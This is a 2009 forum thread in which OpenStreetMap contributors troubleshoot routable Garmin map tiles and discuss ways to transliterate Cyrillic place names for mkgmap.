Sorry don't know what a permalink is I have searched the page and the map and can't see anything that looks like it would be a called a permalink other than the link to OpenStreetMap.
The tile/map I am working on and downloading is 63240036.img which includes most of the Philippines and Taiwan. The southernmost large island of the Philippines is Mindanao. At the southern end of that is the Davao Gulf and in the Davao Gulf is an Island called The Island Garden City of Samal. This is where I have added a lot of roads.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.10.2009 12:30 · [flux]
Skywoolf wrote:
Lambertus wrote:
Please edit your previous post and add a OSM permalink to the area in question (which you can get from the lower right corner on the main OSM website map).
Sorry don't know what a permalink is I have searched the page and the map and can't see anything that looks like it would be a called a permalink other than the link to OpenStreetMap.
Open the www.openstreetmap.org website and look at the lower right corner of the map, you'll see the word 'Permalink'. That link always represents the current view on the map.
Anyway, I found the area in question.
The tile/map I am working on and downloading is 63240036.img which includes most of the Philippines and Taiwan. The southernmost large island of the Philippines is Mindanao. At the southern end of that is the Davao Gulf and in the Davao Gulf is an Island called The Island Garden City of Samal. This is where I have added a lot of roads.
I do see some roads there and they are edited by you and others. They all show up on the Garmin map that I just downloaded when I zoom in to 700m or less.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 15.10.2009 13:34 · [flux]
Thanks Lambertus,
I found the permalink on the map at www.openstreetmap.org it is
http://www.openstreetmap.org/?lat=6.963 … rs=B000FTFI was looking for the permalink on the map at http://garmin.na1400.info/routable.php
All the new roads show on both maps. They are all brown dotted lines. I also corrected the coastline all down the east coast but that appears to have reverted to its original state of just jagged approximations.
I downloaded again. I copied the gmapsupp.img file to the GPS and I installed the OSM World Routable.gmapi file using map manager (I have no idea where this is actually installed).
When I open roadtrip non of the roads are there at any zoom level. When I try to send the map to the GPS it says nothing will be transfered, presumably because the map has not changed.
I am lost 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.10.2009 16:16 · [flux]
Skywoolf wrote:
All the new roads show on both maps. They are all brown dotted lines. I also corrected the coastline all down the east coast but that appears to have reverted to its original state of just jagged approximations.
No, the coastline is not reverted, but it's a special case which doesn't get rendered immediately (the coastline in the Mapnik database (Renderer) is updated only once in a while). If you look at any editor you will see that your coastline is still as you edited it. It will just take longer to show up on the OSM map.
I downloaded again. I copied the gmapsupp.img file to the GPS and I installed the OSM World Routable.gmapi file using map manager (I have no idea where this is actually installed).
When I open roadtrip non of the roads are there at any zoom level. When I try to send the map to the GPS it says nothing will be transfered, presumably because the map has not changed.
I've checked this way and you created it without a highway type on the 5th of October, then you added the highway type. This might not have made it into the planet dump of the 7th, I don't know. Anyway, the tagging is correct so I have no doubt that it will show up in next versions.
I am lost 🙂
Relying only on GPS devices is dangerous in some countries ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 15.10.2009 23:48 · [flux]
Thanks again.
I know I am going senile but this was driving me nuts.
Yes you are right I did add the tags later so this is almost certainly the cause of my problem. I have started changing them now as you suggested.
- Re: Worldwide routable Garmin maps: URL REMOVED · Buadhai (Gast) · 16.10.2009 00:35 · [flux]
Skywoolf wrote:
Thanks Lambertus,
When I try to send the map to the GPS it says nothing will be transfered, presumably because the map has not changed.I am lost 🙂
When you send maps to the GPS you have to select the individual sections that you want sent. If you don't select anything to send you'll get the message that nothing will be transferred.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 16.10.2009 01:33 · [flux]
I forgot that too 🙁
Getting old makes things very complicated when they used to be very simple.
- Re: Worldwide routable Garmin maps: URL REMOVED · Buadhai (Gast) · 16.10.2009 04:19 · [flux]
Skywolf. I'm in your age bracket and I understand where you're coming from.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 17.10.2009 13:12 · [flux]
greencaps wrote:
At the moment I could manage everything but for 'uploading'. How does one change data or add a tag to existing? ....
Found all answers on http://wiki.openstreetmap.org/wiki/API_v0.6 so adding a name:trans tag automatically will be doable. Hope so ;-).
Now to automate all a frontierline in .gpx or other format for Russia or other countries would be nice. Any ideas?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.10.2009 14:00 · [flux]
greencaps wrote:
Thank you for reacting. I'm trying to understand the whole process of generating tiles and .img files.
So see following remarks and questions in this perspective please.- each image must use a code-page
You mean the .img files as can be downloaded from your .../routable.php ?
Ok. But then if I download two of them. Each with a different codepage and combine them before
putting a gmapsupp.img in the device. Does the device use both codepages then?For a good understandig: You are not referring to above files further as tiles are you? If so then I have to rethink this problem. For me tiles are the pictures as delivered by tileservers. Those tileservers can easily use a different codepage for every tile they deliver. Upon further thinking: that maybe brings the same problem..
When talking about 'tiles' in reference to garmin.na1400.info I almost always mean the blue squares on the map, as they are the Garmin image tiles that combined represent a Garmin map of the world. I'm not referring to the PNG image tiles as used by the slippy map on www.openstreetmap.org.
- tiles often span multiple countries with languages that don't match a single code-page
That looks a minor problem to me. That is only a small amount compared to the rest of the tiles for a country. If the placenames for Russia were ok but for the frontiertowns I think people would be glad already.
I don't agree. Take the Russian/Chinese border for instance. If I would render the tiles that cover both countries with a cyrillic language, then the Chinese would be angry and the other way around the Russians would be angry. So when a tile covers two language areas that cannot be represented with a single code-page then there is a problem. That is why I choose to render everything with Latin1 character set. I leave it to locals to render maps in the local language.
So a solution is to specify a code page for each tile but, since the layout of the tiles often differs quite a bit, ....
But what do you mean with it's layout?
The layout is the way in which the blue squares are arranged and which number they have. With my current setup in render tools these squares and accompanying number can dramatically for a specific area between each render.
Work is being done in trying to create tiles that line up with country borders which will make specifying different code-pages for each tile much easier.
Dou you mean tiles with curved lines?
Yes, but I don't know if or when it will be possible to create tiles like that.
I'll wait with different code-pages until there are country borders or another easy method (easy=automatic or possible to automate).
Aren't the borders marked as such in the osm.xml file that you can get from a piece of earth?
If you could get a 'way' (lat,lons in a .gpx-file or so) representing the frontier of Russia and hence it's area. Then for every tile you only needed a function like:
if ( center of tile is in area )
take cyrillic codepage for this tileI could do that, but I won't because of what I earlier wrote about tiles that cover multiple countries with non-matching code-page languages.
You see: I'm busy thinking about the ???? problem. I do understand that you have to choose a codepage. But you did not convince me that these ???? are unavoidable. I think that you cannot do anything further, it's mkgmap that places a '?' when the character can not be found in the codepage. If mkgmap just would place the original value instead of a '?' it would already be much better I think.
I'm not sure that Mkgmap adds the ? or that the GPS device puts them in place. I'm sure the Mkgmap development community is thinking (or has done so) about how to fix this. I bet it isn't possible or easy to do because it would be in place if it would.... Sorry this is a bit of a short answer, but I'm not going to manually correct code-pages each week as I don't want to spend my time on that.
I'm thinking of another solution.
You use something like --name-tag-list=name:en,int_name,name. That could be easily changed to --name-tag-list=name:en,int_name,name:trans,name. With name:trans I mean a transliterated name. Now there is not such a tag in openstreetmap as far as I know on the moment. But one is allowed to define new tags. My idea is to write a program that downloads osm data for an area. (I know how to do that). Then look for above mentioned tags. If int_name and name:en where absent then name could be transliterated (automatically is simple) and added in that data as name:trans. (I know how to do that also). But then new data has to be uploaded. I do not know how such 'addings' have to be send and to whom.I don't know how you are going to get the translated name but just as a precaution: You are not allowed to import data from Google in to OpenStreetMap without their approval! I cannot emphasise that enough. Google data is copyrighted and OpenStreetMap violates their copyright if you import it into OSM and you can bring the project into serious trouble if you do that.
Besides, why introduce a new subtag for this? I think perhaps the international name could be used for that...
At the moment I could manage everything but for 'uploading'. How does one change data or add a tag to existing? I know that I have to ask that somewhere else. I will do that if my idee looks doable. Any ideas?
If you don't want to use JOSM or any of the other existing editors then you will have to use the API directly.
greencaps wrote:
Now to automate all a frontierline in .gpx or other format for Russia or other countries would be nice. Any ideas?
What is your plan exactly? Are you going to translate every cyrilic placename to something that fits the Latin1 characterset? How do you want to do that? And are you aware of the Garmin maps specifically generated for Russia and other regions?
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 17.10.2009 21:45 · [flux]
Ok. Your tiles are the big areas choosable on your site. You cannot do much then.
I'm not sure that Mkgmap adds the ? or that the GPS device puts them in place. I'm sure the Mkgmap development community is thinking (or has done so) about how to fix this. I bet it isn't possible or easy to do because it would be in place if it would...
As I told in my first post the ????'s are in the .img files downloaded from your site. (open a russian one in wordpad, scroll a lot down and you will see them). So it is a mkgmap issue. I once read somewhere that mkgmap would transliterate when appropriate and possible. But apparently it does not here.
The goal is to transliterate a cyrillic name. Not to translate it. To translate a name you need a dictionary. For transliteration only a small table (26 characters or so) to substitute a cyrillic character by a latin one. I have no dictionary for russian placenames. So transliteration is the one. I cannot put a transliteration in an int_name or name:en as it is not as such. So there has to be new tag.
About other russian mapmakers. Cloudmate is nice but not routable. I had already looked on the page you indicated but found nothing suitable.
So I want to write a program using the API to retrieve all the nodes with 'place' and add a transliteration if needed.
A node of a 'place' like following is ok as there is a 'name:en' tag.
<node id="517249562" lat="57.3132424" lon="83.7953845" version="1" changeset="2708924" user="greencaps" uid="128534" visible="true" timestamp="2009-10-02T07:46:59Z">
<tag k="name" v="Ðовокривошеино"/>
<tag k="place" v="village"/>
<tag k="name:en" v="Novokrivosheino"/>
</node>The following node has no int_name and no name:en.
<node id="245888277" lat="57.400239" lon="83.9420288" version="3" changeset="1541349" user="KekcuHa" uid="30590" visible="true" timestamp="2009-06-17T04:24:33Z">
<tag k="name" v="Жуково"/>
<tag k="place" v="village"/>
<tag k="cladr:name" v="Жуково"/>
<tag k="created_by" v="Potlatch 0.7"/>
<tag k="addr:postcode" v="636306"/>
<tag k="addr:district" v="КривошеинÑкий район"/>
<tag k="cladr:code" v="7001000000800"/>
<tag k="addr:country" v="RU"/>
<tag k="addr:region" v="ТомÑÐºÐ°Ñ Ð¾Ð±Ð»Ð°ÑÑ‚ÑŒ"/>
<tag k="is_in" v="КривошеинÑкий район ТомÑкой облаÑти"/>
<tag k="name:trans" v="{Жуково}"/>
<tag k="cladr:suffix" v="Село"/>
</node>So I would like to add a name:trans.
<node id="245888277" lat="57.400239" lon="83.9420288" version="4" changeset="44444444444" user="greencaps" uid="77777777777 ">
<tag k="name" v="Жуково"/>
<tag k="place" v="village"/>
<tag k="cladr:name" v="Жуково"/>
<tag k="created_by" v="Potlatch 0.7"/>
<tag k="addr:postcode" v="636306"/>
<tag k="addr:district" v="КривошеинÑкий район"/>
<tag k="cladr:code" v="7001000000800"/>
<tag k="addr:country" v="RU"/>
<tag k="addr:region" v="ТомÑÐºÐ°Ñ Ð¾Ð±Ð»Ð°ÑÑ‚ÑŒ"/>
<tag k="is_in" v="КривошеинÑкий район ТомÑкой облаÑти"/>
<tag k="cladr:suffix" v="Село"/>
<tag k="name:trans" v="Zukovo"/>
</node><tag k="name" v="Жуково"/>
should read
<tag k="name" v="Жуково"/>
and transliterated
<tag k="name:trans" v="Zukovo"/>That all can be automated.
At the moment I can already drag a rectangle on the map and download all the osm data for that area in little pieces. Investigate the nodes and add a transliteration tag if needed. I can put everything -nearly- ready to be uploaded. (well I'm almost finished). The only thing I did not do is upload a change or changes.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.10.2009 12:34 · [flux]
Ok, I understand now. Maybe the name:trans tag should be name:latin for clarity? And would it be a possibility to post this on the Mkgmap mailinglist and see if the problem can be fixed in the Mkgmap code?
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 18.10.2009 15:40 · [flux]
Lambertus wrote:
Ok, I understand now. Maybe the name:trans tag should be name:latin for clarity? And would it be a possibility to post this on the Mkgmap mailinglist and see if the problem can be fixed in the Mkgmap code?
That is the better aproach. Where should I do that? Sorry I dont know all doors yet.
Of course it could be name:latin. But there is much more in it.
A transliteration in Englisch looks different from one in German already.
So it would be name:trans:en and name:trans:de.But now that I made some runs it looks as if your idea to put the transliteration in name:en or int_name is not as bad. ;-).
For an area in the Ural I get these transliterations: ( On the left the placename in cyrillic. If you don't see normal cyrillic than change charset of your browser. On the right the transliteration english style ( I think))
Белянка >>> Belyanka
Нязепетровск >>> Nyazepetrovsk
Верхний Уфалей >>> Verkhnii Ufalei
Дружный >>> Druzhnii
Шутихинское >>> Chutikhinskoe
Осеево >>> Oseevo
Заречье >>> Zarets'e
Майский >>> Maiskii
Каргаполье >>> Kargapol'e
Долговское >>> Dolgovskoe
Бакланское >>> BaklanskoeThe name of the tag where to put this in is not important for my program. I try to finish this program without actually uploading anything. Meanwhile I will look at the mkgmap group.
Now I will make a run as to see how many places in Russia need an english translation/transcription.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.10.2009 19:32 · [flux]
This is the contact page for Mkgmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 19.10.2009 08:39 · [flux]
Thank you Lambertus for the link.
greencaps wrote:
Now I will make a run as to see how many places in Russia need an english translation/transcription.
Yesterday I quickly draw a rough 'frontier'line for the Russian Federation. Then there were 44.666 0.25 sized bboxes to be retrieved. After every call and investigation of the result the pogram pauses for a second. That alone counts for more then twelve hours. This morning about one third was done.
Result. 7131 places already with english translation. 14787 to be translated/transliterated. (Two/third has to be done yet.)
I now save the node id in the to do list. The next run I can use it for direct retrieve.
203909926 Полынянка >>> Polinyanka
203911459 Поротниково >>> Porotnikovo
244520275 Новоильинка >>> Novoil'inka
244520330 Гусевр >>> Gusevr
244521077 Новороссийский >>> Novorossiiskii
244521160 Новоказанский >>> Novokazanskii
186978122 Володино >>> Volodino
244520884 Новопокровка >>> Novopokrovka
244521023 Новорождественский (нежил. >>> Novorozhdestvenskii (nezhil.
244520083 Подоба >>> Podoba
244531619 Новокусково >>> Novokuskovo
244531680 Казанка >>> Kazanka
244531718 Старокусково >>> Starokuskovo
203993036 Большедорохово >>> Bol'shedorokhovo
203994082 Воронино-Яя >>> Voronino-Yaya - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.10.2009 09:31 · [flux]
I've consulted the [link:irc://irc.oftc.net/osm irc channel] on this issue, they told me that most renderers internally make the same conversion that you want to do for Mkgmap, but without uploading the results to the database. So the recommended solution is to fix this in Mkgmap instead of in the OSM database.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 19.10.2009 15:55 · [flux]
Thank you for the effort.
I will first finish my program. I think I can do more with it. Then I will go to the mkgmap group.
My aim is to leave with readable maps in my navigator the next time I leave for Russia.
These places have no english tags.
400691183 форт Кроншлот fort Kronshlot
411691832 Ломоносов Lomonosov
83087798 Петергоф Petergof
235967510 Сестрорецк Sestroretsk
244216001 Лисий Нос Lisii Nos - Re: Worldwide routable Garmin maps: URL REMOVED · ColinMarquardt (Gast) · 19.10.2009 23:25 · [flux]
greencaps wrote:
My aim is to leave with readable maps in my navigator the next time I leave for Russia.
mkgmap is kinda prepared to do transliteration for you. See this thread:
http://www.mkgmap.org.uk/pipermail/mkgm … 03808.htmlCheers
Colin - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.10.2009 09:33 · [flux]
ColinMarquardt wrote:
greencaps wrote:
My aim is to leave with readable maps in my navigator the next time I leave for Russia.
mkgmap is kinda prepared to do transliteration for you. See this thread:
http://www.mkgmap.org.uk/pipermail/mkgm … 03808.htmlFrom how I read that thread: it's difficult to determine automatically which transliteration table you should use.
Steve Ratcliffe wrote:
As I understand it though, you really need to know the language and not just the character set in many cases. There has already been a posting saying that the Cyrillic transliteration should be different for non-Russian languages. So perhaps a somewhat different approach is needed.
So ultimately I wish we could automatically transliterate from Japanese, Indian, Malayan, Greek, Russian, Chinese, etc to English so a readable map for the whole world would be possible... Dunno if this is possible at all, my searches all lead to transliteration from a specified language to English instead of language detection...
I found this page which seems to do a pretty solid job and is using Java, although I cannot find any source code. Perhaps a good starting point for Mkgmap? Or this python solution.
- Re: Worldwide routable Garmin maps: URL REMOVED · Buadhai (Gast) · 20.10.2009 10:02 · [flux]
Google translate does a fair job. I entered "น้ำไหลลงเขา" and told it to detect the language and translate to English. It came up with "Water flows downhill." Google detected Thai and translated correctly.
So, the technology exists.
- Re: Worldwide routable Garmin maps: URL REMOVED · IrlJidel (Gast) · 21.10.2009 20:52 · [flux]
Skywoolf wrote:
Help!
I noticed the date under the map has changed to 7/10/2009 which I am sure is after I added a lot of roads to Samal, Philippines. So I downloaded the map but none of the added roads show in Roadtrip. Should I wait for the next date change or is it something I have done wrong?Thanks
I've also noticed the last 3-4 updates have not reflected any of my changes in Ireland.
For example:
http://osm.org/go/es96wQgVz-I added a number of bus stops and service roads in car park on Sept 19th.
http://www.openstreetmap.org/browse/changeset/2536911Are Ireland tiles 63240087.img 63240088.img generating using old data somehow?
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 21.10.2009 23:08 · [flux]
My program to add a missing name:en or name:trans:en or whatever tag works. As a test I let it handle less then ten nodes in a changeset. All worked ok.
Now to be sure that only places which are in a selected country are handled I need a borderline around the area.
greencaps wrote:
Now to automate all a frontierline in .gpx or other format for Russia or other countries would be nice...
Hmmm.. that can be found in OSM data. So I wrote a module that collects the ways representing the border. Starting with a relation id recursively retrieving other relations, ways and nodes. Then build a .gpx file. All took quite a while on 60189 (Russian Federation). So I tested on smaller countries like 102879 Austria, 161033 Mongolia.
For Austria got a lot of ways. And they 'lay on the frontier'. Ok so far. But the ways are in random order. The next way does not start where the former stopped. To make things worse the direction of the ways is not consistent. Most are from east to west (for the frontierline Germany/Austria). I need a closed curve of a country to determin if a "lat,lon" is inside that country. So work is now on sorting the ways and revert them if needed.
Until now I had no look at mkgmap because all this takes time. It is nice to see that others react. I will study all links later.
There is another solution if mkgmap cannot handle the transliteration. Mkgmap works on raw osm data I read. Those are the data files in xml format. My program (well another version) could add the missing tags to those xml files.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 22.10.2009 00:31 · [flux]
IrlJidel wrote:
Skywoolf wrote:
Help!
I noticed the date under the map has changed to 7/10/2009 which I am sure is after I added a lot of roads to Samal, Philippines. So I downloaded the map but none of the added roads show in Roadtrip. Should I wait for the next date change or is it something I have done wrong?Thanks
I've also noticed the last 3-4 updates have not reflected any of my changes in Ireland.
For example:
http://osm.org/go/es96wQgVz-I added a number of bus stops and service roads in car park on Sept 19th.
http://www.openstreetmap.org/browse/changeset/2536911Are Ireland tiles 63240087.img 63240088.img generating using old data somehow?
Thanks
I checked after the date changed to 7/10/2009 also but all the roads I added in the Philippines were not showing. Maybe next time.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.10.2009 08:34 · [flux]
IrlJidel wrote:
Are Ireland tiles 63240087.img 63240088.img generating using old data somehow?
No, all tiles are rendered using the full planet dump from the date that you see in the website below the map.
greencaps wrote:
Now to be sure that only places which are in a selected country are handled I need a borderline around the area.
You can find country polygons on the Cloudmade website.
There is another solution if mkgmap cannot handle the transliteration. Mkgmap works on raw osm data I read. Those are the data files in xml format. My program (well another version) could add the missing tags to those xml files.
I posted a question about this on the Mkgmap mailinglist but did not get any response so far.
So it indeed seems like there are two options: upload the transliterated tags with name:trans:en or preprocess the data each time a new update is performed. But I'm afraid that preprocessing the entire planet file on each update will take a very long time.
Besides that, you are only transliterating cyrillic languages, there are so many more languages that need transliteration. Maybe this needs to be discussed on the main OpenStreetMap mailinglist...
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 22.10.2009 09:22 · [flux]
I just noticed the date changed to 14/10/09 so I tried a download again. All the roads I added are still not showing. Maybe I added the tags after 14/10/09.
- Re: Worldwide routable Garmin maps: URL REMOVED · reinholdM (Gast) · 22.10.2009 10:59 · [flux]
I checked also the 14/10/09 map update for my area and I was wondering even changes from end of September does not show up.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.10.2009 11:23 · [flux]
Hmm, a pattern starts to emerge here. Maybe it's a bug in my build chain... I'll pay a closer attention to file versions etc in this weekends update.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 22.10.2009 13:31 · [flux]
The easiest way to find out is to see if the changes are visible in Potlatch...if they are, then there's a problem on Lambertus' end. If they're not, then the problem is at Skywoolf/reinholdM's end.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 22.10.2009 13:39 · [flux]
Yes the changes are there in Potlatch and in JOSM but not in the downloaded map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.10.2009 14:41 · [flux]
Yes, the first time report of missing ways could be the result of bad timing, but those ways should be in the map definately by now. So if they aren't then there's a problem somewhere...
- Re: Worldwide routable Garmin maps: URL REMOVED · reinholdM (Gast) · 22.10.2009 15:22 · [flux]
Also the changes I talk about are visible for quite some time in potlatch, JOSM, mapnick and so on...
- Re: Worldwide routable Garmin maps: URL REMOVED · ColinMarquardt (Gast) · 23.10.2009 00:44 · [flux]
Lambertus wrote:
ColinMarquardt wrote:
greencaps wrote:
My aim is to leave with readable maps in my navigator the next time I leave for Russia.
mkgmap is kinda prepared to do transliteration for you. See this thread:
http://www.mkgmap.org.uk/pipermail/mkgm … 03808.htmlFrom how I read that thread: it's difficult to determine automatically which transliteration table you should use.
Steve Ratcliffe wrote:
As I understand it though, you really need to know the language and not just the character set in many cases. There has already been a posting saying that the Cyrillic transliteration should be different for non-Russian languages. So perhaps a somewhat different approach is needed.
It may be that you got Steve wrong. I think he means that you can do a transliteration from e.g. Cyrillic to Latin without knowing the language, but to do a thorough job, you would transliterate a bit different depending on whether you got e.g. Russian or Bulgarian (both languages using Cyrillic script). The links you provided don't seem to try to figure out the language, they would just detect if something is Cyrillic.
I think it would be a start to complete mkgmap's transliteration tables with the perl script Avar provided and see if the resulting maps work for people (even if not perfect). I guess an awkward transliteration is still way way better that just seeing question marks...
Cheers
Colin - Re: Worldwide routable Garmin maps: URL REMOVED · Buadhai (Gast) · 23.10.2009 04:08 · [flux]
Pretty much nothing that I've done since the beginning of September shows up in the map that I downloaded from Lambertus' site today. It's mostly in these areas:
http://www.openstreetmap.org/?lat=14.97 … rs=B000FTF
http://www.openstreetmap.org/?lat=14.40 … rs=B000FTF
This is Nakhon Ratchasima province in northeast Thailand.
Edit: I believe this is the first changeset that does not appear in the current map from Lambertus:
Changeset: 2420956
Created at: Wed, 09 Sep 2009 04:47:12 +0000
Closed at: Wed, 09 Sep 2009 04:47:33 +0000 - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.10.2009 09:20 · [flux]
ColinMarquardt wrote:
It may be that you got Steve wrong. I think he means that you can do a transliteration from e.g. Cyrillic to Latin without knowing the language, but to do a thorough job, you would transliterate a bit different depending on whether you got e.g. Russian or Bulgarian (both languages using Cyrillic script). The links you provided don't seem to try to figure out the language, they would just detect if something is Cyrillic.
Yes probably, I haven't eaten much cheese about transliteration (that's a Dutch proverb 😉 )
I think it would be a start to complete mkgmap's transliteration tables with the perl script Avar provided and see if the resulting maps work for people (even if not perfect). I guess an awkward transliteration is still way way better that just seeing question marks...
I hope the wheel is not being reinvented again with this script. My searches show that it requires a lot of knowledge to transliterate all non-roman languages, so we should definitely use the efforts of existing projects to do so.
Btw, the basic transliteration function in Mkgmap that seem to work in ASCII mode is currently being copied to the Latin1 mode as well (which I'm using for my maps): http://www.mkgmap.org.uk/pipermail/mkgm … 04912.html
So, still, it looks like going for preprocessing is the quickest path to transliteration. If this doesn't double or triple the processing time then I'm open to add such a script into my toolchain. But let me be clear: this is not going to be a new project for me, I'm not going to develop such a transliteration script.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 25.10.2009 15:11 · [flux]
Lambertus wrote:
You can find country polygons on the Cloudmade website.
With amazing I looked at file russian_federation.poly from that site. Googling for a .poly extension was resultless. It looks like this:
russian_federation
1
1.4110078E+002 5.337188E+001
1.4110078E+002 5.344619E+001
1.4132091E+002 5.344619E+001
1.4132091E+002 5.337188E+001
1.4110078E+002 5.337188E+001
END
2
1.4119539E+002 4.621428E+001
1.4119539E+002 4.628667E+001
1.4124376E+002 4.628667E+001
1.4124376E+002 4.621428E+001
1.4119539E+002 4.621428E+001
ENDand so on. I had seen dat already some days ago wondering why there were blocks of five and today I added code to my program to show it on the map. Aha 1617 rectangles to see. But using them is not precise as the rectangles overlap with bordering countries. So I use a real frontierline (extracted from osm data). Result for Mongolia: 115 places that have alreay int_name or name:en. 47 places who miss them. Adding a transliteration would be a piece of cake now.
But I 'discovered' something else. Well I saw it. For those 115 that had already an int_name or name:en tag the name sometimes contained an international or english name too. 528068123 Gachuurt, 528064318 Terelj.
Now what is the purpose of the name tag in osm data/maps? What should be in the name tag? The name as used in the country? I think so. It is not difficult to detect this automatically and produce a list of node id's for later treatment.
... But I'm afraid that preprocessing the entire planet file on each update will take a very long time.
I think so too. And is not that file 160 GB? But wasn't it split first? How big are the splits? And aren't they compressed when offered to mkgmap? Could you give me an indication of those filesizes?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.10.2009 18:46 · [flux]
greencaps wrote:
Lambertus wrote:
You can find country polygons on the Cloudmade website.
With amazing I looked at file russian_federation.poly from that site. Googling for a .poly extension was resultless. It looks like this:
russian_federation
1
1.4110078E+002 5.337188E+001
1.4110078E+002 5.344619E+001
1.4132091E+002 5.344619E+001
1.4132091E+002 5.337188E+001
1.4110078E+002 5.337188E+001
END
2
1.4119539E+002 4.621428E+001
1.4119539E+002 4.628667E+001
1.4124376E+002 4.628667E+001
1.4124376E+002 4.621428E+001
1.4119539E+002 4.621428E+001
ENDand so on. I had seen dat already some days ago wondering why there were blocks of five and today I added code to my program to show it on the map. Aha 1617 rectangles to see. But using them is not precise as the rectangles overlap with bordering countries. So I use a real frontierline (extracted from osm data). Result for Mongolia: 115 places that have alreay int_name or name:en. 47 places who miss them. Adding a transliteration would be a piece of cake now.
That is indeed amazing. I have no clue why they define a country's polygon like that. It's not very useful it seems.
But I 'discovered' something else. Well I saw it. For those 115 that had already an int_name or name:en tag the name sometimes contained an international or english name too. 528068123 Gachuurt, 528064318 Terelj.
Now what is the purpose of the name tag in osm data/maps? What should be in the name tag? The name as used in the country? I think so. It is not difficult to detect this automatically and produce a list of node id's for later treatment.
I think the name tag should be the official local name.
... But I'm afraid that preprocessing the entire planet file on each update will take a very long time.
I think so too. And is not that file 160 GB? But wasn't it split first? How big are the splits? And aren't they compressed when offered to mkgmap? Could you give me an indication of those filesizes?
The planet file is about 7.3 GB compressed which makes it about 80 GB (or so) uncompressed (but noone should use an uncompressed planet really). I normally split the planet in two sections using Osmosis, but that is because Splitter would need too much memory otherwise. These extracts are then split using Splitter and then rendered with Mkgmap.
What I can envision is that you application loops through the compressed planet once extracting all the nodes and ways and relations with names. Then determine in which country the name is so you know which source language you'd need to transliterate. Then transliterate the name, update the name value and output the changes in a new compressed planet file. That new planet file could then be used for Mkgmap.
BTW. I just saw an Mkgmap commit in which the transliteration code that already existed for the ASCII code-page is also made available for Latin1. I could do a new run after this weeks update to see what the results look like.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 25.10.2009 22:35 · [flux]
Lambertus wrote:
The planet file is about 7.3 GB compressed which makes it about 80 GB (or so) uncompressed (but noone should use an uncompressed planet really). I normally split the planet in two sections using Osmosis, but that is because Splitter would need too much memory otherwise. These extracts are then split using Splitter and then rendered with Mkgmap.
And what is what Splitter produces? A compressed file? And in what sizes?
What I can envision is that you application loops through the compressed planet once extracting all the nodes and ways and relations with names. Then determine in which country the name is so you know which source language you'd need to transliterate. Then transliterate the name, update the name value and output the changes in a new compressed planet file. That new planet file could then be used for Mkgmap.
I can handle uncompressed files up to 2GB. Or was the limit four GB? I have to check. To handle larger files I have to use 64 bit filepointers which I never did. But I see no problem implementing this as I saw code for it sometimes. But working on compressed files ? I have no idea how to do that. I did not even know that it was possible to work on a piece of a compressed file. I thought that a compressed file first had to be decompressed before use. If not that is fine but for me no clue where to start.
BTW. I just saw an Mkgmap commit in which the transliteration code that already existed for the ASCII code-page is also made available for Latin1. I could do a new run after this weeks update to see what the results look like.
The whole point with mkgmap and converting from one code tabel to the other is that it places a questionmark '?' if it cannot find a match. If it would just place one byte from the two bytes that it had to convert than it would do much better. Or just the byte if the character was one byte. Then you would not have seen me here as then I could transliterate afterwards the .img files downloaded from your side. Well atleast I think so.
So please find the piece of code where mkgmap places the '?'. (I did not deep in it as I did not finish with my tagupdater yet).
Today I extracted the borderline of White Russia. Then made a run for placenames. Found 22518 places which needed an int_name (or name:en). There were 36 places which had already a translation. 36!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.10.2009 09:43 · [flux]
greencaps wrote:
And what is what Splitter produces? A compressed file? And in what sizes?
Splitter produces the tiles that are almost always less then 30 MB in gz (gzip) format. It would be useful if your code is able to read and write gz format. Alternatively, if it is able to read from stdin and write to stdout then pipes can be used in combination with the zcat and gzip tools which is fine too.
Working with uncompressed OSM data stored on disk is only really doable if a) you have lots and lots of disk space b) you're working on a small area. Neither is what I'm doing.
The whole point with mkgmap and converting from one code tabel to the other is that it places a questionmark '?' if it cannot find a match. If it would just place one byte from the two bytes that it had to convert than it would do much better. Or just the byte if the character was one byte. Then you would not have seen me here as then I could transliterate afterwards the .img files downloaded from your side. Well atleast I think so.
Perhaps Mkgmap could do that, but then you will be able to make a good map, but all your work has to be duplicated by others to be able to do the same. So I'm in favor of a solution that can be used by everyone.
Today I extracted the borderline of White Russia. Then made a run for placenames. Found 22518 places which needed an int_name (or name:en). There were 36 places which had already a translation. 36!
Maybe a lot of smaller places don't have a well known English or international translations. But, indeed, it's not much. Are you planning on transliterating roadnames and POI as well?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.10.2009 16:12 · [flux]
Skywoolf wrote:
Yes the changes are there in Potlatch and in JOSM but not in the downloaded map.
